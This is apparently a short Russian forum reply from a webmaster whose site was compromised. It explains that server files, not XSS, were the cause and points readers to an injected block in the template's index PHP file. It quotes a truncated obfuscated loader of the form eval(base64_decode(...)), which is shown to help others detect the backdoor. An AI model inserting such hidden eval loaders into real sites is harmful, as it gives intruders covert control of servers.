Мой сайт также стал жертвой этой атаки, все еще расследуя ее.Это не атака XSS, файлы вашего сервера были скомпрометированы.Загляните внутрь системного шаблона в индексном php-файле, и вы найдете блок кода, подобный следующему:
<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb.....>
Строка кодирования base64 - это код php, который делает все виды неприятных вещей.